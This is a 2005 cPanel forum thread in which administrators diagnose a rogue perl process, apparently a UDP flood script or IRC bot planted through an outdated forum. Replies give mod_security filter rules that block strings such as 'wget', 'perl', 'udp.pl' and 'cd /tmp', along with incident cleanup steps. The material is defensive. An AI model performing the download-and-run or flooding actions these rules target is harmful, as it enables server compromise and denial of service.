The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

perl processes hung - serious problem

Discussion in 'General Discussion' started by Secret Agent, Dec 2, 2005.

  1. Secret Agent

    Secret Agent Guest

    I am trying to figure out why several perl processes are hanging on the server and causing serious bandwidth output (up to 7mbps).

    Results:

    Code:
    root@server2 [~]# lsof -p 23919
    COMMAND   PID   USER   FD   TYPE    DEVICE      SIZE      NODE NAME
    perl    23919 nobody  cwd    DIR       8,3      4096   1540232 /home/antro/public_html/foro
    perl    23919 nobody  rtd    DIR       8,3      4096         2 /
    perl    23919 nobody  txt    REG       8,3    969687   9559480 /usr/bin/perl
    perl    23919 nobody  mem    REG       8,3     23202   9716305 /usr/lib/perl5/5.8.6/i686-linux/auto/Socket/Socket.so
    perl    23919 nobody  mem    REG       8,3    106397   4949112 /lib/ld-2.3.4.so
    perl    23919 nobody  mem    REG       8,3   1454462   4949114 /lib/tls/libc-2.3.4.so
    perl    23919 nobody  mem    REG       8,3     15324   4949776 /lib/libdl-2.3.4.so
    perl    23919 nobody  mem    REG       8,3    178019   4949747 /lib/tls/libm-2.3.4.so
    perl    23919 nobody  mem    REG       8,3     27191   4949782 /lib/libcrypt-2.3.4.so
    perl    23919 nobody  mem    REG       8,3     95148   4949127 /lib/libnsl-2.3.4.so
    perl    23919 nobody  mem    REG       8,3     14542   4948054 /lib/libutil-2.3.4.so
    perl    23919 nobody    0r   CHR       1,3                1608 /dev/null
    perl    23919 nobody    1w  FIFO       0,7           598245316 pipe
    perl    23919 nobody    2w  FIFO       0,7           598245316 pipe
    perl    23919 nobody    3u   REG       8,3    449171   9718262 /usr/local/apache/logs/mod_jk.log
    perl    23919 nobody    4r  FIFO       0,7           570443939 pipe
    perl    23919 nobody    5u  IPv4 598245319                 UDP *:30144
    perl    23919 nobody    7u   REG       7,0         0       495 /tmp/ZCUD4cMbxt (deleted)
    perl    23919 nobody    8u   REG       8,3     66560   9717025 /usr/local/apache/logs/jk-runtime-status
    perl    23919 nobody    9u   REG       8,3         1   9719001 /usr/local/apache/logs/jk-runtime-status.lock
    perl    23919 nobody   10r   REG       8,3       152   9718251 /usr/local/apache/logs/mod_throttle.runtime
    perl    23919 nobody   12w  FIFO       0,7           590371560 pipe
    perl    23919 nobody   13r  FIFO       0,7           590371561 pipe
    perl    23919 nobody   15w   REG       8,3         0   9718150 /usr/local/apache/logs/audit_log
    perl    23919 nobody   16w   REG       8,3         0   9718261 /usr/local/apache/logs/modsec_debug_log
    perl    23919 nobody   17w   REG       8,3  59604711   9719333 /usr/local/apache/logs/error_log
    perl    23919 nobody   20w   REG       8,3         0   9737476 /usr/local/apache/domlogs/domain1.com-bytes_log
    perl    23919 nobody   21w   REG       8,3         0   9736813 /usr/local/apache/domlogs/domain1.com-bytes_log
    perl    23919 nobody   22w   REG       8,3         0   9735852 /usr/local/apache/domlogs/domain1.com-bytes_log
    perl    23919 nobody   23w   REG       8,3         0   9735054 /usr/local/apache/domlogs/domain1.com-bytes_log
    perl    23919 nobody   24w   REG       8,3         0   9735963 /usr/local/apache/domlogs/domain1.com-bytes_log
    perl    23919 nobody   25w   REG       8,3         0   9738276 /usr/local/apache/domlogs/domain1.com-bytes_log
    
    Now the last few lines regarding apache domlogs....the list actually goes on forever, what seems like a list of all domains on the server.

    Can someone please explain what is causing these perl processes and how to stop them/prevent them for good?

    cPanel 10.8x CURRENT
    PHP 4.4.1
    Apache 1.33x
    Centos 4.2

    Thank you.
     
  2. randomuser

    randomuser Well-Known Member

    Joined:
    Jun 25, 2005
    Messages:
    147
    Likes Received:
    0
    Trophy Points:
    16
    What are the names of the perl processes? Do they match up with a legit file on the server? Where is all this bandwidth being directed (tcpdump)? What was the file in /tmp that has been deleted, and why is the process running as "nobody" (got phpsuexec?)? What's in "/home/antro/public_html/foro", any outdated xmlrpc.php's or the like? My first guess is "antro" has some vulns somewhere in his foro directory and his account is being used to DoS via UDP.
     
  3. HostMerit

    HostMerit Well-Known Member

    Joined:
    Oct 24, 2004
    Messages:
    160
    Likes Received:
    0
    Trophy Points:
    16
    Location:
    New Jersey, USA
    cPanel Access Level:
    DataCenter Provider
    Add these to your mod security ruleset, as I see you have it running.


    SecFilter "perl\x20"
    SecFilter "udp.pl"
    SecFilter "udp.txt"
    SecFilter "wget\x20"
    SecFilter "cd\x20/tmp"

    Also run ps -u nobody, and if anything except melange, or httpd processes are running there (common are perl psybnc and sh), check their /proc/PID/environ files, where PID is the process ID.

    Check your /tmp and rm -rf *sess* to remove the clutter, and look for tools like udp.pl and udp.txt, and similar and remove / try to investigate how they got into the server. As it was /foro, I take it it is an outdated forum, probably phpBB, possibly a very old vBul. version.
     
  4. Secret Agent

    Secret Agent Guest

    What exactly does that ruleset do and where is the ruleset? I have never customized to be honest
     
  5. chirpy

    chirpy Well-Known Member

    Joined:
    Jun 15, 2002
    Messages:
    13,475
    Likes Received:
    20
    Trophy Points:
    38
    Location:
    Go on, have a guess
    Yup, that output clearly shows that that account is ether being abused or has been compromised and within the directory /home/antro/public_html/foro is a perl script being used for a either DOS/DDOS attack over UDP, or possibly an IRC bot.

    Solution:

    Suspend the account immediately, then
    Clean up the compromise
    Work through that accounts domlogs and find the entry point
    Remove any applications that were used as part of the compromise
    Warn the user that they've risked the security of the entire server by using vulnerable PHP scripts - up to you if you give them a second chance

    Lastly, check very very carefull for a root compromise which is only a single step from having already had the server hacked through a script.
     
Loading...

Share This Page